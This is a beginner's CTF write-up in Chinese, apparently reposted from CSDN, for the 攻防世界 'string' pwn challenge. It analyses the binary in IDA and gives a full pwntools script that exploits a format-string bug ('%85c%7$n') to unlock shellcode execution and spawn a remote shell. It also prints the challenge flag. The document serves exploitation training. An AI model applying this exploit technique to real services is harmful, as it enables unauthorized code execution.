pwn string

题目来源:攻防世界
拿到题目后checksec
在这里插入图片描述
可以看到是64位的,拖到ida里看一下
在这里插入图片描述
这里有个v3=malloc(8uLL),查了一下,最后结果貌似就是v3表示的地址存放了68,v3的后面一个,v3[1]是85
v4=v3,后面输出了v4,secret[0]输出的即为68存放的地址,secret[1]输出的是85存放的地址
然后我们点进函数sub_400D72
在这里插入图片描述
先输入一个长度小于0xC的name,然后我们再依次分析下面这三个函数
在这里插入图片描述
第一个函数,分析一波之后,我们要输入east来继续下去才行,然后看下第二个函数
在这里插入图片描述
这个函数当中,我们看到了printf(&format,&format),这里,我们就可以运用格式化字符串的漏洞了。我们可以在上面的v2处输入一个地址,然后通过格式化字符串漏洞改变这个地址中存放的值。对了,不要忘了先输入1让if语句通过
我们再来看第三个函数
在这里插入图片描述
首先,这个函数的参数,a1是什么呢?往前面翻,会发现其实就是上文提到过的v4,即65存放的地址,注意这个v4是int型的
在if语句中,可以看出,v1处需要用到shellcode
但是,让v1能够被执行的前提是a1处存放的内容与a1[1]相等,但是,我们知道*a1=68,a1[1]=85,如何让它们相等?这时候想起来前面有个格式化字符串漏洞,我们可以通过这个漏洞使得这两者相等。对此,我们要先知道v2在栈中的位置
在这里插入图片描述
如图,那个61616161是我们输入的aaaa,0x80是我们输入的128,数一下,128为第七个参数
下面是代码

from pwn import *

sh=remote('111.198.29.45',39819)
#注意这里一定要有,声明是64位程序,32位和64位的shellcode不一样
context(arch='amd64')

sh.recvuntil("secret[0] is ")
#这里接收v4,即68存放的地址,16是16进制的意思
v4_addr=int(sh.recvuntil('\n'), 16)

sh.sendlineafter("What should your character's name be:","james")
sh.sendlineafter("So, where you will go?east or up?:","east")
sh.sendlineafter("go into there(1), or leave(0)?:","1")

#这里程序需要我们输入int型,而send发送的是str,所以先int再str
sh.sendlineafter("'Give me an address'",str(int(v4_addr)))
#这里"%85c7$n"实现的就是向栈内第七个参数所指向的地址写入85,即将v4处的68改为85
#这里的"%85c7$n"也可以改成'a'*85+%7$n,因为前面有85个字符,所以同样可以写入85
sh.sendlineafter("And, you wish is:","%85c%7$n")

#获取shellcode
shellcode=asm(shellcraft.sh())
sh.sendlineafter("Wizard: I will help you! USE YOU SPELL",shellcode)
sh.interactive()
#把secret[0]改为secret[1],并把后面的"%85c7$n"改为"%68c7$n",同样可以成功

在这里插入图片描述
flag:cyberpeace{a33f6431be80f0c7c252a96ba955ceee}
ctf萌新,若有理解不当或表达错误,还望指正

猜你喜欢

转载自blog.csdn.net/weixin_45677731/article/details/104817142
pwn